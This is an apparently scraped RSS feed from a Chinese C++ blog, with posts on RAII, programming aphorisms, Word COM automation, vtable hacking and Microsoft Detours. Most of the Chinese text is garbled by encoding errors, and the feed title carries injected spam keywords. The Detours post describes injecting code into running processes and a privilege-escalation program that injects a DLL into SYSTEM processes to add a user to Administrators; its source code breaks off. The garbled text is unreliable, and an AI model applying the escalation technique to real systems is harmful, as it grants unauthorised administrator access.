锘??xml version="1.0" encoding="utf-8" standalone="yes"?>午夜人妻久久久久久久久,77777亚洲午夜久久多喷,无夜精品久久久久久 http://www.shnenglu.com/codeart/codeArt zh-cn Thu, 08 May 2025 19:47:45 GMT Thu, 08 May 2025 19:47:45 GMT 60 RAII鏄粈涔堬紵鏉ユ簮浜庨噾搴嗙殑涓撴爮 http://www.shnenglu.com/codeart/archive/2010/11/06/132675.htmlcodeArt codeArt Sat, 06 Nov 2010 09:30:00 GMT http://www.shnenglu.com/codeart/archive/2010/11/06/132675.html http://www.shnenglu.com/codeart/comments/132675.html http://www.shnenglu.com/codeart/archive/2010/11/06/132675.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/132675.html http://www.shnenglu.com/codeart/services/trackbacks/132675.html 鎽樿嚜銆奅xtended STL銆嬩腑璇?/p>
RAII錛氳祫婧愯幏鍙栧嵆鍒濆鍖?/h1> 璧勬簮鑾峰彇鍗沖垵濮嬪寲錛圧AII, Resource Acquisition Is Initialization錛夋槸鎸囷紝褰撲綘鑾峰緱涓涓祫婧愮殑鏃跺欙紝涓嶇榪欎釜璧勬簮鏄璞°佸唴瀛樸佹枃浠跺彞鏌勬垨鑰呭叾瀹冧粈涔堬紝浣犻兘浼?xì)鍦ㄤ竴涓璞$殑鏋勯犲嚱鏁頒腑鑾峰緱瀹冿紝騫朵笖鍦ㄨ瀵硅薄鐨勬瀽鏋勫嚱鏁頒腑閲婃斁瀹冦傚疄鐜拌繖縐嶅姛鑳界殑綾伙紝鎴戜滑灝辮瀹冮噰鐢ㄤ簡"璧勬簮鑾峰彇鍗沖垵濮嬪寲錛圧AII錛?鐨勬柟寮忋傝繖鏍風(fēng)殑綾誨父甯歌縐頒負(fù)灝佽綾匯?/p>
鍙互渚濇嵁璧勬簮鍙彉鎬у拰璧勬簮鏉ユ簮榪欎袱涓壒寰侊紝鏉ュRAII榪涜鍒嗙被銆?/p>
璧勬簮鍙彉鎬?/h2> 濡傛灉涓涓皝瑁呯被瀵瑰叾瀹炰緥鎻愪緵棰濆鐨勫姛鑳斤紝浣垮緱鍏跺疄渚嬭兘琚祴浜堟柊璧勬簮錛岃繖涓被琛ㄧ幇鍑虹殑榪欑鐗瑰緛鍗崇О涓?鍙彉鐨凴AII"錛屽惁鍒欏氨鏄?涓嶅彲鍙樼殑RAII"銆?/p>
涓嶅彲鍙樼殑RAII錛屾槸浣跨敤璧鋒潵鏈綆鍗曠殑涓縐嶃傝瀹冪畝鍗曪紝鏄洜涓哄湪榪欑鎯呭喌涓嬶紝鏃犻渶鍦ㄥ皝瑁呯被涓彁渚涚敤浜庢寚瀹氳祫婧愮殑鏂規(guī)硶--涓嶇鏄柊鍒嗛厤鐨勮祫婧愶紝榪樻槸瀵瑰叾浠栬祫婧愯繘琛屾嫹璐濄傝繖縐峈AII榪樻剰鍛崇潃錛岀被鐨勬瀽鏋勫嚱鏁版繪槸鍙互鍋囧畾錛岃灝佽鐨勮祫婧愭槸鏈夋晥鐨勩?/p>
涓庢鐩稿弽錛屾彁渚涘彲鍙樼殑RAII鐨勭被錛屽氨闇瑕佸疄鐜頒笅鍒楀姛鑳戒腑鐨勭粷澶ч儴鍒嗭紝鎴栬呭叏閮細(xì)緙虹渷鐨勬垨鑰呯┖鐨勬瀯閫犲嚱鏁幫紝鎷瘋礉鏋勯犲嚱鏁幫紝鎷瘋礉璧嬪兼搷浣滐紝鐢ㄤ簬鎸囧畾璧勬簮鐨勬柟娉曘傛渶閲嶈鐨勬槸錛岃繖鏍風(fēng)殑綾誨湪鏋愭瀯鍑芥暟鍜屼換浣曠被浼糲lose()鐨勬柟娉曚腑錛岄噴鏀捐祫婧愬墠錛岄兘蹇呴』媯(gè)嫻嬭灝佽鐨勮祫婧愭槸涓嶆槸null銆?/p>
璧勬簮鏉ユ簮 瀵逛簬鎻愪緵RAII鐨勭被鏉ヨ錛岀浜屼釜閲嶈鐨勭壒寰佹槸錛屽畠浠氳繃浠涔堥斿緞鑾峰彇鑷繁鎵綆$悊鐨勮祫婧愩備互std::string涓轟唬琛ㄧ殑綾伙紝浣跨敤鐨勬槸鍐呴儴鍒濆鍖栫殑RAII錛氬畠綆$悊鐨勮祫婧?-鍗沖唴瀛樹腑鐢ㄤ簬淇濆瓨瀛楃鐨勭紦鍐插尯--鏄敱瀹冭嚜宸卞垱寤虹殑錛岃繖涓璧勬簮瀵瑰姘歌繙鏄笉鍙鐨勩備笌姝や笉鍚岀殑鏄紝浠td::auto_ptr涓轟唬琛ㄧ殑綾昏〃鐜板嚭澶栭儴鍒濆鍖栫殑RAII琛屼負(fù)錛氬畠鎵綆$悊鐨勮祫婧愶紝鏄嬌鐢ㄥ畠鐨勫鎴風(fēng)▼搴忥紙閫氳繃鍙﹀鐨勬煇縐嶆柟寮忚幏寰椾箣鍚庯級浜ょ粰瀹冪殑銆?/p>
鍐呴儴鍒濆鍖栫殑RAII鐨勫皝瑁呯被錛屼竴鑸瘮杈冨鏄撳疄鐜幫紝浣嗘槸鍔熻兘涓婁篃姣旇緝鍙楅檺鍒訛紝鍥犱負(fù)瀹冧滑鑾峰彇璧勬簮鐨勬満鍒舵槸棰勫厛瀹氫箟濂界殑錛屽茍涓旀槸鍥哄畾涓嶅彉鐨勩備笉榪囷紝榪欐牱鐨勭被鐢ㄨ搗鏉ヤ篃瀹規(guī)槗涓浜涳紝鎴栬呰錛屾瘮杈冮毦琚鐢細(xì)鍥犱負(fù)瀹㈡埛浠g爜鍑犱箮娌℃湁鏈轟細(xì)鐘笅鑳藉鑷磋祫婧愭硠闇茬殑閿欒銆?/p>
]]> 緙栫▼娉曞垯(杞嚜oschina.net)鏈夋剰鎬?/title> http://www.shnenglu.com/codeart/archive/2010/09/30/128159.htmlcodeArt codeArt Thu, 30 Sep 2010 15:42:00 GMT http://www.shnenglu.com/codeart/archive/2010/09/30/128159.html http://www.shnenglu.com/codeart/comments/128159.html http://www.shnenglu.com/codeart/archive/2010/09/30/128159.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/128159.html http://www.shnenglu.com/codeart/services/trackbacks/128159.html
浠諱綍紼嬪簭涓鏃﹂儴緗插嵆鏄鵑檲鏃с?
淇敼闇姹傝鑼冩潵閫傚簲紼嬪簭姣斿弽榪囨潵鍋氭洿瀹規(guī)槗銆?
涓涓▼搴忓鏋滃緢鏈夌敤錛岄偅瀹冩敞瀹氳琚敼鎺夈?
涓涓▼搴忓鏋滄病鐢紝閭e畠涓瀹氫細(xì)鏈夊緢濂界殑鏂囨。銆?
浠諱綍紼嬪簭閲岄兘浠呬粎鍙湁10%鐨勪唬鐮佷細(xì)琚墽琛屽埌銆?
杞歡浼?xì)涓鐩磋啫鑳鍒拌楀敖鎵鏈夎祫婧愪負(fù)姝€?
浠諱綍涓涓湁鐐逛環(huán)鍊肩殑紼嬪簭閲岄兘浼?xì)鏈夎嚊_皯涓涓猙ug銆?
鍘熷瀷瀹岀編鐨勭▼搴﹁窡瀹¤鐨勪漢鏁版垚鍙嶆瘮錛屽弽姣斿間細(xì)闅忕潃娑夊強(qiáng)鐨勮祫閲戞暟澧炲ぇ銆?
杞歡鐩村埌琚彉鎴愪駭鍝佽繍琛岃嚦灝?涓湀鍚庯紝瀹冩渶涓ラ噸鐨勯棶棰樻墠浼?xì)琚彂鐜般?
鏃犳硶媯(gè)嫻嬪埌鐨勯敊璇殑褰㈠紡鏃犻檺澶氭牱錛岃岃兘琚嫻嬪埌鐨勬濂界浉鍙嶏紝琚畾涔変簡鐨勫崄鍒嗘湁闄愩?
淇涓涓敊璇墍闇瑕佹姇鍏ョ殑鍔姏浼?xì)闅忕潃鏃墮棿鎴愭寚鏁扮駭澧炲姞銆?
杞歡鐨勫鏉傚害浼?xì)涓鐩村鍔狅紝鐩村埌瓚呭嚭緇存姢榪欎釜紼嬪簭鐨勪漢鐨勬壙鍙楄兘鍔涖?
浠諱綍鑷繁鐨勭▼搴忥紝鍑犱釜鏈堜笉鐪嬶紝褰㈠悓鍏朵粬浜哄啓鐨勩?
浠諱綍涓涓皬紼嬪簭閲岄潰閮芥湁涓涓法澶х殑紼嬪簭锠㈣牏嬈插嚭銆?
緙栫爜寮濮嬬殑瓚婃棭錛岃姳璐圭殑鏃墮棿瓚婇暱銆?
涓涓矖蹇冪殑欏圭洰璁″垝浼?xì)璁╀綘澶氳?鍊嶇殑鏃墮棿鍘誨畬鎴愶紱涓涓粏蹇冪殑欏圭洰璁″垝鍙細(xì)璁╀綘澶氳姳2鍊嶇殑鏃墮棿銆?
寰澶у瀷欏圭洰閲屾坊鍔犱漢鎵嬩細(xì)浣塊」鐩洿寤惰繜銆?
涓涓▼搴忚嚦灝戜細(xì)瀹屾垚90%錛屼絾姘歌繙瀹屾垚涓嶄簡瓚呰繃95%銆?
濡傛灉浣犳兂楹葷儲琚嚜鍔ㄥ鐞嗘帀錛屼綘寰楀埌鐨勬槸鑷姩浜х敓鐨勯夯鐑︺?
寮鍙戜竴涓偦鐡滈兘浼?xì)鋴社敤鐨勮蒋錃g錛屽彧鏈夊偦鐡滄効鎰忎嬌鐢ㄥ畠銆?
鐢ㄦ埛涓嶄細(xì)鐪熸鐨勭煡閬撹鍦ㄨ蔣浠墮噷鍋氫簺浠涔堬紝闄ら潪浣跨敤榪囥?
]]> c++鎿嶄綔word鎺ュ彛 http://www.shnenglu.com/codeart/archive/2010/08/31/125430.htmlcodeArt codeArt Tue, 31 Aug 2010 11:35:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/31/125430.html http://www.shnenglu.com/codeart/comments/125430.html http://www.shnenglu.com/codeart/archive/2010/08/31/125430.html#Feedback 4 http://www.shnenglu.com/codeart/comments/commentRss/125430.html http://www.shnenglu.com/codeart/services/trackbacks/125430.html 銆?銆戝紑鍚痺ord
_ApplicationPtr word_app; HRESULT hr = word_app.CreateInstance( " Word.Application " , NULL);
銆?銆戞柊寤轟竴涓枃妗?br>
COleVariant vTrue(( short )TRUE),vFalse(( short )FALSE),vOpt(( long )DISP_E_PARAMNOTFOUND, VT_ERROR); DocumentsPtr docs; _DocumentPtr oDoc; docs = word_app -> GetDocuments(); doc = docs -> Add(vOpt, vOpt, vOpt, vOpt);
銆?銆戣緗枃妗g殑欏甸潰甯冨眬
PageSetupPtr page_setup = doc -> GetPageSetup(); page_setup -> PutTopMargin( 0 ); page_setup -> PutBottomMargin( 0 ); page_setup -> PutRightMargin( 0 ); page_setup -> PutLeftMargin( 0 );
銆?銆戞彃鍏ユ枃鏈?br>
SelectionPtr selection; selection = word_app -> GetSelection(); _ParagraphFormatPtr parafmt = selection -> GetParagraphFormat(); parafmt -> PutLineSpacingRule(wdLineSpaceExactly); parafmt -> PutLineSpacing( 50 ); _FontPtr font; font = oSel -> GetFont(); font -> PutBold( 1 ); font -> PutColor(wdColorGreen); font -> PutSize( 20 ); font -> PutName(_T( " 瀹嬩綋 " )); selection -> TypeText( " ABC " ); oSel -> TypeParagraph(); oSel -> TypeText( " 12345678901234567890 " ); oSel -> TypeParagraph();
銆?銆戞彃鍏ユ枃鏈
ShapesPtr shapes = doc -> GetShapes(); ShapePtr textbox = shapspp -> AddTextbox(Office::msoTextOrientationHorizontal, 1 , 1 , 100 , 100 );
銆?銆戞枃鏈涓彃鍏ユ枃鏈?br>
1 ShapesPtr shapes = doc -> GetShapes(); 2 ShapePtr textbox = shapspp -> AddTextbox(Office::msoTextOrientationHorizontal, 1 , 1 , 100 , 100 ); 3 TextFramePtr textframe = textbox -> GetTextFrame(); 4 RangePtr range = textframe -> GetTextRange(); 5 long insert_before_count = range -> Characters -> GetCount(); 6 range-> InsertAfter( " TEXT " ); 7 if (insert_before_count != 1 ) 8 range-> MoveStart(COleVariant(( long )Word::wdCharacter), COleVariant(insert_before_count - 1 )); 9 if (range != 0 ) 10 { 11 _FontPtr font = range -> GetFont(); 12 font-> PutBold(isBold); 13 font-> PutItalic(isItalic); 14 font-> PutColor((Word::WdColor)FontColor()); 15 font-> PutSize(FontSize); 16 font-> PutName(FontType().c_str()); 17 }
銆?銆戣緗枃鏈鐨勫睘鎬?br>
1 textbox -> GetTextFrame() -> PutAutoSize(Office::msoAutoShape); 2 textbox-> GetTextFrame() -> PutMarginBottom( 0 ); 3 textbox-> GetTextFrame() -> PutMarginTop( 0 ); 4 textbox-> GetTextFrame() -> PutMarginLeft( 0 ); 5 textbox-> GetTextFrame() -> PutMarginRight( 0 ); 6 textbox-> GetLine() -> PutVisible(Office::msoFalse); 7 textbox-> GetFill() -> PutTransparency( 1 );
銆?銆戞彃鍏ュ浘鐗囷紝榪欓噷闇瑕佹敞鎰忥紝蹇呴』寰楀厛鐢↖nlineShape,榪欐牱鍙互鎶婂浘鐗囨彃鍏ュ埌鎸囧畾鐨勯〉涓紝涓嶇劧錛屾墍鏈夌殑鍥劇墖鍙湪絎竴欏點(diǎn)?br>
1 ShapesPtr shapes = m_WordDoc -> GetShapes(); 2 InlineShapesPtr inline_shapes = selection_doc -> GetRange() -> GetInlineShapes(); 3 InlineShapePtr inline_shape = inline_shapes -> AddPicture(“picture_path”, COleVariant(( long ) 0 ), COleVariant(( long ) 1 )); 4 ShapePtr shape = inline_shape -> ConvertToShape(); 5 shape-> PutWidth(width); 6 shape-> PutHeight(hehight()); 7 shape-> PutTop(Y); 8 shape-> PutLeft(X); 9 if (shape -> GetType() == Office::msoPicture) 10 { 11 Word::WrapFormatPtr wrapp = shape -> GetWrapFormat(); 12 wrapp-> PutType(Word::wdWrapBehind); 13 }14
銆?銆戞彃鍏ョ洿綰?br>
1 ShapesPtr shapes = doc -> GetShapes(); 2 Word::ShapePtr line = shapes -> AddLine(x1,y1, x2,y2); 3 if (line -> GetType() == Office::msoLine) 4 { 5 Word::LineFormatPtr LineFmt = line -> GetLine(); 6 LineFmt-> PutWeight(lr -> weight_); 7 }
銆?0銆戞彃鍏ュ垎闅旂
selection -> InsertBreak(COleVariant(( long )wdColumnBreak)); selection -> InsertBreak(COleVariant(( long )wdSectionBreakContinuous)); selection -> InsertBreak(COleVariant(( long )wdPageBreak));
銆?1銆戣緗爮鐩釜鏁板拰鏍忕洰鐨勫搴?br>榪欓噷涓瀹氳娉ㄦ剰add鍑芥暟鐨勯昏緫
1 SectionsPtr word_sections = doc -> GetSections(); 2 long num = word_sections -> GetCount(); 3 SectionPtr word_section = word_sections -> Item(num - 1 ); 4 PageSetupPtr page_setup = word_section -> GetPageSetup(); 5 TextColumnsPtr text_cols = page_setup > GetTextColumns(); 6 text_cols-> PutEvenlySpaced( 0 ); 7 text_cols-> Add(COleVariant(col_width), COleVariant(( long ) 0 ), COleVariant(( long ) false ));
銆?2銆戞彃鍏ヨ〃鏍?br>
1 TablesPtr tables = oSel -> GetTables(); 2 TablePtr table = tables -> Add(oSel -> GetRange(), 2 , 5 ); 3 4 BordersPtr bords = table -> GetBorders(); 5 bords-> PutOutsideLineStyle(wdLineStyleSingle); 6 bords-> PutInsideLineStyle(wdLineStyleSingle); 7 for ( int i = 1 ; i <= 2 ; i ++ ) 8 { 9 for ( int j = 1 ; j <= 5 ; j ++ ) 10 { 11 table-> Cell(i,j) -> GetRange() -> PutText( " 20 " ); 12 }13 }14 15 CellPtr cell = table -> Cell( 1 , 1 ); 16 cell-> Merge(table -> Cell( 1 , 2 ));
銆?3銆戜繚瀛樻枃妗e茍閫鍑?br>
1 COleVariant vTrue(( short )TRUE),vFalse(( short )FALSE),vOpt(( long )DISP_E_PARAMNOTFOUND, VT_ERROR); 2 _DocumentPtr active_doc; 3 active_doc = word_app -> GetActiveDocument(); 4 active_doc-> SaveAs(COleVariant( " D:\\doc1.doc " ), 5 COleVariant((short ) 0 ), 6 vFalse, COleVariant("" ), vTrue, COleVariant( "" ), 7 vFalse, vFalse, vFalse, vFalse, vFalse);8 word_app-> Quit(vOpt, vOpt, vOpt);
鍦╳ord浼樼鐨勬瀯鏋朵腑榪樻湁璁歌澶氬鐨勬帴鍙o紝涓婇潰鍙槸涓句緥瀹炵幇涓涓櫘閫氱殑鏂囨。錛屽笇鏈涘澶у鏈夌敤銆?
]]> C++鐨勭戶鎵?/title> http://www.shnenglu.com/codeart/archive/2010/08/31/125326.htmlcodeArt codeArt Mon, 30 Aug 2010 17:32:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/31/125326.html http://www.shnenglu.com/codeart/comments/125326.html http://www.shnenglu.com/codeart/archive/2010/08/31/125326.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/125326.html http://www.shnenglu.com/codeart/services/trackbacks/125326.html
1 class base 2 { 3 public : 4 base () {} ; 5 ~ base () {} ; 6 7 virtual void func1() {printf( " base::func1\r\n " );} ; 8 virtual void func2() {printf( " base::func2\r\n " );} ; 9 int ma; 10 int mb; 11 void member_func() {printf( " base::member_func\r\n " );} 12 }; 13 14 class derive : public base 15 { 16 public : 17 derive(){} ; 18 ~ derive() {} ; 19 20 virtual void func1() {printf( " derive::func1\r\n " );} ; 21 virtual void func3() {printf( " derive::func3\r\n " );} ; 22 virtual void func4() {printf( " derive::func4\r\n " );} ; 23 24 int ma2; 25 int mb2; 26 27 void member_func2() {printf( " derive::member_func2\r\n " );} 28 }; 29 30 class derive2 : public derive 31 { 32 public : 33 derive2(){} ; 34 ~ derive2() {} ; 35 36 virtual void func3() {printf( " derive2::func3\r\n " );} ; 37 virtual void func4() {printf( " derive2::func4\r\n " );} ; 38 virtual void func5() {printf( " derive2::func5\r\n " );} ; 39 40 int ma3; 41 int mb3; 42 43 void member_func3() {printf( " derive2::member_func3\r\n " );} 44 }; 45 int _tmain( int argc, _TCHAR * argv[]) 46 { 47 typedef void ( * Fun)( void ); 48 49 Fun pfun = 0 ; 50 derive2* d2 = new derive2; 51 int * p = ( int * )d2; 52 * (p + 1 ) = 20 ; 53 * (p + 2 ) = 30 ; 54 * (p + 3 ) = 200 ; 55 * (p + 4 ) = 300 ; 56 * (p + 5 ) = 2000 ; 57 * (p + 6 ) = 30000 ; 58 59 for ( int i = 0 ; i < 5 ; i ++ ) 60 { 61 Fun pfun = (Fun) * (( int * ) * (p + 0 ) + i); 62 if (pfun) 63 pfun();64 else 65 printf(" null\r\n " ); 66 }67 68 base * b2 = new derive; 69 int * p2 = ( int * )b2; 70 pfun = (Fun) * (( int * ) * (p2 + 0 ) + 3 ); 71 pfun();72 73 return 0 ; 74 }75
]]>鍏充簬Detours[杞琞 http://www.shnenglu.com/codeart/archive/2010/08/29/125226.htmlcodeArt codeArt Sun, 29 Aug 2010 15:08:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/29/125226.html http://www.shnenglu.com/codeart/comments/125226.html http://www.shnenglu.com/codeart/archive/2010/08/29/125226.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/125226.html http://www.shnenglu.com/codeart/services/trackbacks/125226.html Detours鏄井杞紑鍙戠殑涓涓嚱鏁板簱錛堟簮浠g爜鍙湪http://research.microsoft.com/sn/detours 鍏嶈垂鑾峰緱錛? 鐢ㄤ簬淇敼榪愯涓殑紼嬪簭鍦ㄥ唴瀛樹腑鐨勫獎(jiǎng)鍍忥紝浠庤屽嵆浣挎病鏈夋簮浠g爜涔熻兘鏀瑰彉紼嬪簭鐨勮涓恒傚叿浣撶敤閫旀槸錛?br style="LINE-HEIGHT: normal"> 鎷︽埅WIN32 API璋冪敤錛屽皢鍏跺紩瀵煎埌鑷繁鐨勫瓙紼嬪簭錛屼粠鑰屽疄鐜癢IN32 API鐨勫畾鍒躲?br style="LINE-HEIGHT: normal">涓轟竴涓凡鍦ㄨ繍琛岀殑榪涚▼鍒涘緩涓鏂扮嚎紼嬶紝瑁呭叆鑷繁鐨勪唬鐮佸茍榪愯銆?br style="LINE-HEIGHT: normal">鏈枃灝嗙畝浠婦etours鐨勫師鐞嗭紝Detours搴撳嚱鏁扮殑鐢ㄦ硶錛?騫跺埄鐢―etours搴撳嚱鏁板湪Windows NT涓婄紪鍐欎簡涓涓▼搴忥紝璇ョ▼搴忚兘浣挎湁“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愮殑鐢ㄦ埛鎴愪負(fù)緋葷粺綆$悊鍛橈紝闄勫綍鍒╃敤Detours搴撳嚱鏁頒慨鏀硅紼嬪簭浣挎櫘閫氱敤鎴峰嵆鍙垚涓虹郴緇熺鐞嗗憳錛堝湪NT4 SP3涓婏級銆?br style="LINE-HEIGHT: normal"> 涓錛?Detours鐨勫師鐞?br style="LINE-HEIGHT: normal"> 1錛?WIN32榪涚▼鐨勫唴瀛樼鐞?br style="LINE-HEIGHT: normal"> 鎬繪墍鍛ㄧ煡錛學(xué)INDOWS NT瀹炵幇浜嗚櫄鎷熷瓨鍌ㄥ櫒錛屾瘡涓WIN32榪涚▼鎷ユ湁4GB鐨勮櫄瀛樼┖闂達(dá)紝 鍏充簬WIN32榪涚▼鐨勮櫄瀛樼粨鏋勫強(qiáng)鍏舵搷浣滅殑鍏蜂綋緇嗚妭璇峰弬闃匴IN32 API鎵嬪唽錛?浠ヤ笅浠呮寚鍑轟笌Detours鐩稿叧鐨勫嚑鐐癸細(xì) (1) 榪涚▼瑕佹墽琛岀殑鎸囦護(hù)涔熸斁鍦ㄨ櫄瀛樼┖闂翠腑 (2) 鍙互浣跨敤QueryProtectEx鍑芥暟鎶婂瓨鏀炬寚浠ょ殑欏甸潰鐨勬潈闄愭洿鏀逛負(fù)鍙鍙啓鍙墽琛岋紝鍐嶆敼鍐欏叾鍐呭錛屼粠鑰屼慨鏀規(guī)鍦ㄨ繍琛岀殑紼嬪簭 (3) 鍙互浣跨敤VirtualAllocEx浠庝竴涓繘紼嬩負(fù)鍙︿竴姝h繍琛岀殑榪涚▼鍒嗛厤铏氬瓨錛屽啀浣跨敤 QueryProtectEx鍑芥暟鎶婇〉闈㈢殑鏉冮檺鏇存敼涓哄彲璇誨彲鍐欏彲鎵ц錛屽茍鎶婅鎵ц鐨勬寚浠や互浜岃繘鍒舵満鍣ㄧ爜鐨勫艦寮忓啓鍏ワ紝浠庤屼負(fù)涓涓鍦ㄨ繍琛岀殑榪涚▼娉ㄥ叆浠繪剰鐨勪唬鐮?br style="LINE-HEIGHT: normal"> 2錛?鎷︽埅WIN32 API鐨勫師鐞?br style="LINE-HEIGHT: normal"> Detours瀹氫箟浜嗕笁涓蹇碉細(xì) (1) Target鍑芥暟錛氳鎷︽埅鐨勫嚱鏁幫紝閫氬父涓篧indows鐨凙PI銆?br style="LINE-HEIGHT: normal">(2) Trampoline鍑芥暟錛歍arget鍑芥暟鐨勫鍒跺搧銆傚洜涓篋etours灝嗕細(xì)鏀瑰啓Target鍑芥暟錛屾墍浠ュ厛鎶奣arget鍑芥暟澶嶅埗淇濆瓨濂斤紝涓鏂歸潰浠嶇劧淇濆瓨Target鍑芥暟鐨勮繃紼嬭皟鐢ㄨ涔夛紝鍙︿竴鏂歸潰渚夸簬浠ュ悗鐨勬仮澶嶃?br style="LINE-HEIGHT: normal">(3) Detour 鍑芥暟錛氱敤鏉ユ浛浠arget鍑芥暟鐨勫嚱鏁般?br style="LINE-HEIGHT: normal"> Detours鍦═arget鍑芥暟鐨勫紑澶村姞鍏MP Address_of_ Detour_ Function鎸囦護(hù)錛堝叡5涓瓧鑺傦級鎶婂Target鍑芥暟鐨勮皟鐢ㄥ紩瀵煎埌鑷繁鐨凞etour鍑芥暟錛?鎶奣arget鍑芥暟鐨勫紑澶寸殑5涓瓧鑺傚姞涓奐MP Address_of_ Target _ Function+5浣滀負(fù)Trampoline鍑芥暟銆備緥瀛愬涓嬶細(xì) 鎷︽埅鍓嶏細(xì)Target _ Function錛?br style="LINE-HEIGHT: normal">錛汿arget鍑芥暟鍏ュ彛錛屼互涓嬩負(fù)鍋囨兂鐨勫父瑙佺殑瀛愮▼搴忓叆鍙d唬鐮?br style="LINE-HEIGHT: normal">push ebp mov ebp, esp push eax push ebx Trampoline: 錛涗互涓嬫槸Target鍑芥暟鐨勭戶緇儴鍒?br style="LINE-HEIGHT: normal">…… 鎷︽埅鍚庯細(xì) Target _ Function錛?br style="LINE-HEIGHT: normal">jmp Detour_Function Trampoline: 錛涗互涓嬫槸Target鍑芥暟鐨勭戶緇儴鍒?br style="LINE-HEIGHT: normal">…… Trampoline_Function: ; Trampoline鍑芥暟鍏ュ彛, 寮澶寸殑5涓瓧鑺備笌Target鍑芥暟鐩稿悓 push ebp mov ebp, esp push eax push ebx 錛涜煩鍥炲幓緇х畫鎵цTarget鍑芥暟 jmp Target_Function+5 3錛?涓轟竴涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL 浠ヤ笅鏄叾姝ラ錛?br style="LINE-HEIGHT: normal"> (1) 鍒涘緩涓涓猅hreadFuction錛屽唴瀹逛粎鏄皟鐢↙oadLibrary銆?br style="LINE-HEIGHT: normal">(2) 鐢╒irtualAllocEx涓轟竴涓凡鍦ㄨ繍琛岀殑榪涚▼鍒嗛厤涓鐗囪櫄瀛橈紝騫舵妸鏉冮檺鏇存敼涓哄彲璇誨彲鍐欏彲鎵ц銆?br style="LINE-HEIGHT: normal">(3) 鎶奣hreadFuction鐨勪簩榪涘埗鏈哄櫒鐮佸啓鍏ヨ繖鐗囪櫄瀛樸?br style="LINE-HEIGHT: normal">(4) 鐢–reateRemoteThread鍦ㄨ榪涚▼涓婂垱寤轟竴涓嚎紼嬶紝浼犲叆鍓嶉潰鍒嗛厤鐨勮櫄瀛樼殑璧峰鍦板潃浣滀負(fù)綰跨▼鍑芥暟鐨勫湴鍧錛屽嵆鍙負(fù)涓涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL銆傞氳繃DllMain 鍗沖彲鍦ㄤ竴涓凡鍦ㄨ繍琛岀殑榪涚▼涓繍琛岃嚜宸辯殑浠g爜銆?br style="LINE-HEIGHT: normal"> 浜岋紟 Detours搴撳嚱鏁扮殑鐢ㄦ硶 鍥犱負(fù)Detours杞歡鍖呭茍娌℃湁闄勫甫甯姪鏂囦歡錛屼互涓嬫帴鍙d粎浠庡墫鏋愭簮浠g爜寰楀嚭銆?br style="LINE-HEIGHT: normal"> 1錛?PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) 鍔熻兘錛氫粠涓DLL涓壘鍑轟竴鍑芥暟鐨勫叆鍙e湴鍧 鍙傛暟錛歱szModule鏄疍LL鍚嶏紝pszFunction鏄嚱鏁板悕銆?br style="LINE-HEIGHT: normal">榪斿洖錛氬悕涓簆szModule鐨凞LL鐨勫悕涓簆szFunction鐨勫嚱鏁扮殑鍏ュ彛鍦板潃 璇存槑錛欴etourFindFunction闄や嬌鐢℅etProcAddress澶栵紝榪樼洿鎺ュ垎鏋怐LL鐨勬枃浠跺ご錛屽洜姝ゅ彲浠ユ壘鍒頒竴浜汫etProcAddress鎵句笉鍒扮殑鍑芥暟鍏ュ彛銆?br style="LINE-HEIGHT: normal"> 2錛?DETOUR_TRAMPOLINE(trampoline_prototype, target_name) 鍔熻兘錛氳瀹忔妸鍚嶄負(fù)target_name 鐨凾arget鍑芥暟鐢熸垚Trampoline鍑芥暟錛屼互鍚庤皟鐢?trampoline_prototype鍦ㄨ涔変笂絳変簬璋冪敤Target鍑芥暟銆?br style="LINE-HEIGHT: normal"> 3錛?BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour) 鍔熻兘錛氱敤Detour 鍑芥暟鎷︽埅Target鍑芥暟 鍙傛暟錛歱bTrampoline鏄疍ETOUR_TRAMPOLINE寰楀埌鐨則rampoline_prototype錛宲bDetour鏄?Detour 鍑芥暟鐨勫叆鍙e湴鍧銆?br style="LINE-HEIGHT: normal"> 4錛?BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour) 鍔熻兘錛氭仮澶峊arget鍑芥暟 鍙傛暟錛歱bTrampoline鏄疍ETOUR_TRAMPOLINE寰楀埌鐨則rampoline_prototype錛宲bDetour鏄?Detour 鍑芥暟鐨勫叆鍙e湴鍧銆?br style="LINE-HEIGHT: normal"> 5錛?BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) 鍔熻兘錛氫負(fù)涓涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL 鍙傛暟錛歨Process鏄繘紼嬬殑鍙ユ焺錛宭pDllName鏄瑁呭叆鐨凞LL鍚?br style="LINE-HEIGHT: normal"> 涓夛紟 紼嬪簭瀹炰緥 浠ヤ竴涓兘浣挎湁“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愮殑鐢ㄦ埛鎴愪負(fù)緋葷粺綆$悊鍛樼殑紼嬪簭鍋氫緥瀛愯鏄嶥etours 搴撳嚱鏁扮殑鐢ㄦ硶銆傜▼搴忕殑璁捐鎬濊礬鏄壘涓涓互System甯愬彿榪愯鐨勮繘紼嬶紝濡俿poolss.exe, rpcss.exe, winlogon.exe, service.exe絳夛紝浣跨敤ContinueProcessWithDll鍦ㄥ叾涓敞鍏ユ妸褰撳墠鐢ㄦ埛鍔犲叆鍒?Administrators鏈湴緇勭殑DLL錛屽洜涓鴻DLL鍦ㄨ繖浜涜繘紼嬬殑瀹夊叏涓婁笅鏂囩幆澧冭繍琛岋紝鎵浠ユ湁鐩稿簲鐨勬潈闄愩?br style="LINE-HEIGHT: normal"> 鍏堢紪鍐欑浉搴旂殑DLL錛?br style="LINE-HEIGHT: normal"> /*admin.dll, 褰撹繘紼嬭鍏ユ椂浼?xì)鎶婂悕湄?fù)szAccountName 鐨勭敤鎴峰姞鍏ュ埌Administrators鏈湴緇勩?/ #include #include #include #include 